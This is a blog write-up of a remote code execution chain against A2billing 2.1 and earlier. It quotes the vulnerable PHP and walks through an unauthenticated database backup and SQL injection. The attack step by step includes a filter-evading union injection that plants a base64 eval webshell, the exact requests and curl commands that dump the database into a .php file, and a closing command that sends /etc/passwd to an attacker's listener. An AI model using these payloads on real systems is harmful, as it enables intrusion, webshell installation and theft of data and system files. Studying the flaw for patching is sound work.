A2billing <=2.1 RCE Exploit writeup

October 30, 2016

Intro

Wont waste a lot of time and DB space here , brief a2b intro + hardening can be found in the previous blog post In the previous part we successfully exploited blind injection in a2b , In this part we will combine multi attack vectors in 1 exploit to gain shell access over a2billing box So as usual , stay focus here for few mins , It wont take long

Unauthenticated backup dump

Vulnerable code

36<?php
37getpost_ifset(array('name','path','creationdate'));
38 
39$HD_Form = new FormHandler("cc_backup","Backup");
40 
41$HD_Form -> FG_DEBUG = 0;
42 
43if ($form_action!='ask-add')
44  check_demo_mode();
45 
46if ($form_action == 'add'){
47        $backup_file = $path;
48 
49    if (substr($backup_file,-3)=='.gz'){
50      // WE NEED TO GZIP
51      $backup_file = substr($backup_file,0,-3);
52      $do_gzip=1;
53    }
54        // Make the backup stuff here and redirect to success page
55        //mysqldump -all --databases mya2billing -ua2billinguser -pa2billing > /tmp/test.sql
56        //pg_dump -c -d -U a2billinguser -h localhost -f /tmp/test.sql mya2billing
57 
58        if (DB_TYPE != 'postgres'){
59      $run_backup=MYSQLDUMP." -all --databases ".DBNAME." -u'".USER."' -p'".PASS."' > '{$backup_file}'";
60        }else{
61      $env_var="PGPASSWORD='".PASS."'";
62      putenv($env_var);
63      $run_backup=PG_DUMP." -c -d -U ".USER." -h ".HOST." -f '{$backup_file}' ".DBNAME;
64        }
65  if ($FG_DEBUG == 1 ) echo $run_backup."<br>";
66  exec($run_backup,$output,$error);
67  if ($do_gzip){
68    // Compress file
69    $run_gzip = GZIP_EXE." '$backup_file'";
70    if ($FG_DEBUG == 1 ) echo $run_gzip."<br>";
71    exec($run_gzip,$output,$error_zip);
72  }
73  if($error==0 && $error_zip==0 ) $HD_Form -> FG_GO_LINK_AFTER_ACTION_ADD = 'A2B_entity_restore.php?id';
74  elseif($error!=0)$HD_Form -> FG_TEXT_ADITION_CONFIRMATION = gettext("An error occur when the system tried to backup of the database.")."<br>".gettext("Please check yours system settings for the backup section ");
75  else $HD_Form -> FG_TEXT_ADITION_CONFIRMATION = gettext("An error occur when the system tried to compress the backup realized.")."<br>".gettext("Please check yours system settings for the backup section ");
76}
Line 58 is obviously a mysql dump command , taking filename arg from path GET or POST input Line 65 is responsible for executing the backup process File itself is useless , it’s .inc file , So our best bet is to find file in which FG_var_backup.inc is included and also does not require any authentication After looking up we find

49<?php
50include '../lib/admin.defines.php';
51include '../lib/admin.module.access.php';
52include '../lib/Form/Class.FormHandler.inc.php';
53include './form_data/FG_var_backup.inc';
54include '../lib/admin.smarty.php';
55
56if (!has_rights(ACX_MAINTENANCE)) {
57    Header("HTTP/1.0 401 Unauthorized");
58    Header("Location: PP_error.php?c=accessdenied");
59    die();
60}
61
62$HD_Form->setDBHandler(DbConnect());
63$HD_Form->init();
64
65if ($id != "" || !is_null($id)) {
66    $HD_Form->FG_EDITION_CLAUSE = str_replace("%id", "$id", $HD_Form->FG_EDITION_CLAUSE);
67}
68
69if (!isset ($form_action))
70    $form_action = "list"; //ask-add
71if (!isset ($action))
72    $action = $form_action;
73
74$list = $HD_Form->perform_action($form_action);
75
76// #### HEADER SECTION
77$smarty->display('main.tpl');
78
79// #### HELP SECTION
80echo $CC_help_database_backup;
ops , an authentication check a line 40 , checking if user have admin rights and exit if not Who care?? Our file is included at line 37 , before the authentication take place , mean we can just nail it like https://127.0.0.1/a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.sql and we will find the backup ready to download at https://127.0.0.1/a2billing/admin/Public/0x4148.sql Why can not we escalate this this to direct RCE via exec()!! You better check the previous blog post as the backup filename is quoted and there is noway to directly exploit this as RCE due to the a2b hardening

Exploiting this using POST wont work , as all form actions using POST request are checked against csrf attacks , mean It will fail Demo Great , let’s move to the next part

Gaining shell access

As you remember , we have access over the backup filename + path setting filename to 0x4148.php will work , but wont help a lot as it still sql file , no php stuff inside so next step is to inject our evil php code inside the DB then generate backup with .php extension , and using this backup to download webshell , making back connection . . . whatever you wanna do The question now , How to inject evil php code inside the DB? We are working with minimum privs , remember? Unauthenticated , No sign up , and even if authenticated with user role we wont be able to inject shit as php tags will be replaced with html alternative Let’s get back to the previous blog post (Yes , Again) in ckeckout_process file we will find this part of code

259<?php
260$newkey = securitykey(EPAYMENT_TRANSACTION_KEY, $transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]);
261if ($newkey == $key) {
262    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----------- Transaction Key Verified ------------");
263} else {
264    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----NEW KEY =".$newkey." OLD KEY= ".$key." ------- Transaction Key Verification Failed:".$transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]." ------------\n");
265    exit();
266}
267write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ---------- TRANSACTION INFO ------------\n".print_r($transaction_data,1));
268$payment_modules = new payment($transaction_data[0][4]);
269// load the before_process function from the payment modules
270//$payment_modules->before_process();
271
272$QUERY = "SELECT id, credit, lastname, firstname, address, city, state, country, zipcode, phone, email, fax, currency " .
273         "FROM cc_agent WHERE id = '".$transaction_data[0][1]."'";
274$resmax = $DBHandle_max -> Execute($QUERY);
275if ($resmax) {
276    $numrow = $resmax -> RecordCount();
277} else {
278    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SUCH CUSTOMER EXISTS, CUSTOMER ID = ".$transaction_data[0][1]);
279    exit(gettext("No Such Customer exists."));
280}
281$customer_info = $resmax -> fetchRow();
282$nowDate = date("Y-m-d H:i:s");
283
284$pmodule = $transaction_data[0][4];
285
286$orderStatus = $payment_modules->get_OrderStatus();
287
288$Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " .
289            " cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" .
290            " '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
291            $customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '".
292            $transaction_data[0][7]."',  $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."',  ".$amount_paid.",  '".$currCurrency."', '".
293            $currencyObject->get_value($currCurrency)."' )";
294$result = $DBHandle_max -> Execute($Query);
295
296//************************UPDATE THE CREDIT IN THE CARD***********************
297$id = $customer_info[0];
298if ($id > 0) {
299    $addcredit = $transaction_data[0][2];
300    $instance_table = new Table("cc_agent", "");
Yup , this part from line 287 , it’s inserting some data in the DB we have access over $transaction_data array , mean we can inject our code at $transaction_data[0][7] , $transaction_data[0][6] , $transaction_data[0][5] , $transaction_data[0][1] Just the normal union based injection query from the previous post , The query will proceed normally (Consider the key value 😉) and then the data will be inserted into the db

Let’s do this Injection into $transaction_data[0][5] (for length limit purposes) Payload : <?php eval(base64_decode($_POST[nailit])); ?>

transactionID:

456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**- –

Key input value :

9^456789111111 union select 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13– -^3^2

Key output value : 98346a2b29c131c78dc89b50894176eb

Final request :

transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=98346a2b29c131c78dc89b50894176eb

Injection result Awesome , Redirection mean that everything went just fine (again back to the previous part If you did not get any of the previous steps) Now let’s do our things , dump database with php extension

[root@localhost Public]# curl 'https://127.0.0.1/a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.php' --insecure
[root@localhost Public]# cat 0x4148.php | grep nailit
INSERT INTO `cc_payments_agent` VALUES (295,2,' ','','balance','',1,'plugnpay','','66666666666666666666666666666666666666666666','77777777777777777777777777777777','8',-1,'3.000000','2016-10-28 10:57:10','2016-10-28 10:57:10','2016-10-28 10:57:10','usd','0.000000'),(296,2,' ','','balance','',1,'plugnpay','','<?php eval(base64_decode($_POST[nailit])); ?>','7','8',-1,'3.000000','2016-10-28 10:58:22','2016-10-28 10:58:22','2016-10-28 10:58:22','usd','0.000000');
[root@localhost Public]#

Now just exploit it via post nailit=base64_encoded php code to admin/Public/0x4148.php for instance system(‘x=$(cat /etc/passwd);curl -d “$x” http://x.x.x.x:8000/0x4148.jnk’); will read /etc/passwd and send it to our nc listner

Conclusion

No matter how vulnerability risk is low , It doesn’t mean it can not be escalated At the very least I wont be the one who will swim in the red sea in the midnight xD Special thanks to Ahmed alaa for the continuous spiritual and technical support

Until next time, Ahmed


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